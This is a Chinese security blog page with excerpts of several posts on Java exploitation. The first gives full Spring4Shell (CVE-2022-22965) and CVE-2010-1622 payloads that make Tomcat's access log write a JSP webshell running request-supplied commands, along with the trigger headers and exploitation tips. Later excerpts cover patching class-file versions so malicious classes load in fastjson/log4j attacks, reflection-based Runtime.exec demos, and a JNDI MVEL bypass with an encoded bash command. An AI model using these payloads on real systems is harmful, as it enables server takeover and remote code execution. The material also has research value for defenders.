wubba lubba dub dub.
post @ 2022-04-06

漏洞时间线

  • CVE-2010-1622 Spring第一次爆发漏洞,同时也影响了Struts(S2-020/S2-021/S2-022)

  • 2017年9月10日 Oracle官方发文解释Java 9的module新特性

  • 2022年3月29日 蚂蚁集团报告漏洞(CVE-2022-22965)

POC

  • CVE-2010-1622/Struts(S2-020/S2-021/S2-022)

    class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    class.classLoader.resources.context.parent.pipeline.first.prefix=shell
    class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
    class.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
  • CVE-2022-22965在Java9新增了module之后:

    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

    然后访问webshell的时候,除了提供cmd的参数之外,还需要设置header头:

    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

利用条件

  • Java版本>=JDK9
  • Spirng运行在Tomcat环境下,以War包部署(Jar包的时候不存在)
  • 方法入参是非基础类,不能是String,int等
  • 接口使用了POJO参数绑定

注意事项

  • 如果要多次写文件,需要修改fileDateFormat属性,最终会拼接到文件后缀里面
  • 利用日志写入shell的时候,生成的文件会不断写入,可以关闭日志记录: class.module.classLoader.resources.context.parent.pipeline.first.enabled=false

漏洞分析

当Content-Type是application/x-www-form-urlencoded的时候,会使用ServletModelAttributeMethodProcessor解析请求,然后进入参数绑定:org.springframework.web.bind.ServletRequestDataBinder#bind(ServletRequest request):

此时的mpv保存了请求里面的key-value参数,接着进入org.springframework.validation.DataBinder#doBind(MutablePropertyValues mpvs)对获取到的mpvs进行初步校验:

Read More

0x1. 背景介绍

比如fastjsonlog4j中需要远程加载恶意class文件的时候,如果恶意Class文件的版本高于目标版本,比如托管在服务器的Class是1.8编译的,但是目标版本是1.7,会导致利用失败。出现类似这样的错误:java.lang.UnsupportedClassVersionError: Unsupported major.minor version

0x2. 解决方法

用低版本的Java,比如1.6去编译Class文件,就可以全版本通用。

还有另外一种方法,手动修改Class文件。当Java版本不同的时候,编译出来的Class文件也会不一样,其中Class文件里面会带上编译的Java版本号:

  • 45 = Java 1.1
  • 46 = Java 1.2
  • 47 = Java 1.3
  • 48 = Java 1.4
  • 49 = Java 5
  • 50 = Java 6
  • 51 = Java 7
  • 52 = Java 8
  • 53 = Java 9
  • 54 = Java 10
  • 55 = Java 11
  • 56 = Java 12
  • 57 = Java 13
  • 58 = Java 14
  • 59 = Java 15

所以,尝试手动修改一下这个版本号试试?

  1. 切换到java的15版本,编译运行正常
  2. 使用vim -b Calc.class,然后:%!xxd修改版本号为32(50的16进制,也就是Java6),然后保存::%!xxd -r
  3. 切换java版本到1.7,运行Class正常

Read More

Runtime

Runtime中可以获取到Runtime实例有三种方法:

  1. private static Runtime currentRuntime = new Runtime();
  2. public static Runtime getRuntime()
  3. private Runtime() {}

package relfectDemo;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectRuntime {
    public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};

    public void Runtime0() throws Exception{
        //利用私有变量生成实例 private static Runtime currentRuntime = new Runtime();
        Class clazz = Class.forName("java.lang.Runtime");
        Field field = clazz.getDeclaredField("currentRuntime");
        field.setAccessible(true);
        Runtime runtime = (Runtime) field.get("Runtime");
        Method method = clazz.getDeclaredMethod("exec", String[].class);
        method.invoke(runtime, new Object[]{this.cmd});
    }

    public void Runtime1() throws Exception{
        //利用     public static Runtime getRuntime() {
        //        return currentRuntime;
        //    }
        Class clazz = Class.forName("java.lang.Runtime");
        Method method = clazz.getDeclaredMethod("getRuntime");
        Runtime runtime = (Runtime) method.invoke(null);

        Method method1 = clazz.getDeclaredMethod("exec", String[].class);
        method1.invoke(runtime, new Object[]{this.cmd});
    }


    public void Runtime2() throws Exception{
        // 利用构造函数 private Runtime() {}
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor constructor = clazz.getDeclaredConstructor(null);
        constructor.setAccessible(true);
        Runtime runtime = (Runtime) constructor.newInstance(null);
        Method method = clazz.getDeclaredMethod("exec", String[].class);
        method.invoke(runtime, new Object[]{this.cmd});
    }

ProcessBuilder

使用constructor初始化对象的时候,接收的参数是一个Object数组,所以需要new Object[]强制转换:

package relfectDemo;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;

public class ReflectProcessBuilder {
    public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};

    public void ReflectPB0() throws Exception{
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        Constructor constructor = clazz.getConstructor(String[].class);

        //newInstance接收的是一个Object数组,需要转化一下
        ProcessBuilder pb = (ProcessBuilder) constructor.newInstance(new Object[]{this.cmd});

        Method method1 = clazz.getDeclaredMethod("start", null);
        method1.invoke(pb, null);
    }

    public void ReflectPB1() throws Exception{
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        Constructor constructor = clazz.getConstructor(List.class); //当使用List类型的构造参数

        //newInstance接收的是一个Object数组,需要转化一下
        ProcessBuilder pb = (ProcessBuilder) constructor.newInstance(new Object[]{Arrays.asList(this.cmd)});

        Method method1 = clazz.getDeclaredMethod("start", null);
        method1.invoke(pb, null);
    }

    public static void main(String[] args) throws Exception {
        ReflectProcessBuilder reflectProcessBuilder =  new ReflectProcessBuilder();
//        reflectProcessBuilder.ReflectPB0();
        reflectProcessBuilder.ReflectPB1();

    }
}

ProcessImpl

package relfectDemo;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ReflectProcessImpl {
    public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};

    public void ReflectPI0() throws Exception{
        Class clazz = Class.forName("java.lang.ProcessImpl");
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        Map<String, String> map = null;
        ProcessBuilder.Redirect[] redirect = null;
        String dir = ".";
        //第四个参数dir不能为空,为空会失败,表示在哪个路径下执行命令
        method.invoke(null, this.cmd, map, dir, redirect, true);

    }

    public static void main(String[] args) throws Exception{
        ReflectProcessImpl reflectProcess = new ReflectProcessImpl();
        reflectProcess.ReflectPI0();
    }
}
Read More

0x1. 类加载器: ClassLoader

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言,Java会先通过编译器将源代码转换为Java二进制字节码,一般是保存在.class文件中,之后通过JVM解释器执行这段代码。字节码文件会包含很多Class信息,在JVM解释器运行的过程中,ClassLoader就是用来加载类的,它会将Java字节码中的Class加载到内存中,而每个Class对象内部都有一个ClassLoader属性标识由哪个ClassLoader加载。

常见的ClassLoader

一切的Java类都必须经过JVM加载之后才可以运行,最常见的ClassLoaderBootstrapClassLoaderExtensionClassLoaderAppClassLoaderURLClassLoaderContextClassLoader

BootstrapClassLoader

JVM内置的默认classLoader,负责加载JVM运行时的核心类,位于JAVA_HOME/lib/rt.jar/文件夹中,由C代码实现,Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null

ExtClassLoader

扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,库名通常以 javax 开头

AppClassLoader

应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载ClASSPATH环境变量或者java.class.path属性里定义的路径中的jar包和目录,我们自己编写和使用的第三方Jar包通常都是由它来加载

Read More
post @ 2022-03-21

测试背景

JDNI利用mvel绕过高版本java限制的时候,使用runtime exec编码变形之后执行命令失败。只能弹个计算器。

测试结果

浅蓝师傅在探索高版本JDK下JNDI 漏洞的利用方法中给出的执行方式:

private static ResourceRef tomcat_MVEL(){
    ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a",
            "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
    return ref;
}

先说结论:把执行命令的时候push指令去掉,可以成功执行命令。

原因探索

先把测试的命令做一次编码:open /System/Applications/Calculator.app/Contents/MacOS/Calculator
经过编码之后: bash -c {echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9y}|{base64,-d}|{bash,-i}

存在push的时候

经过一路的跳转,进入到_exec()函数,调用堆栈如下:

Read More
⬆︎TOP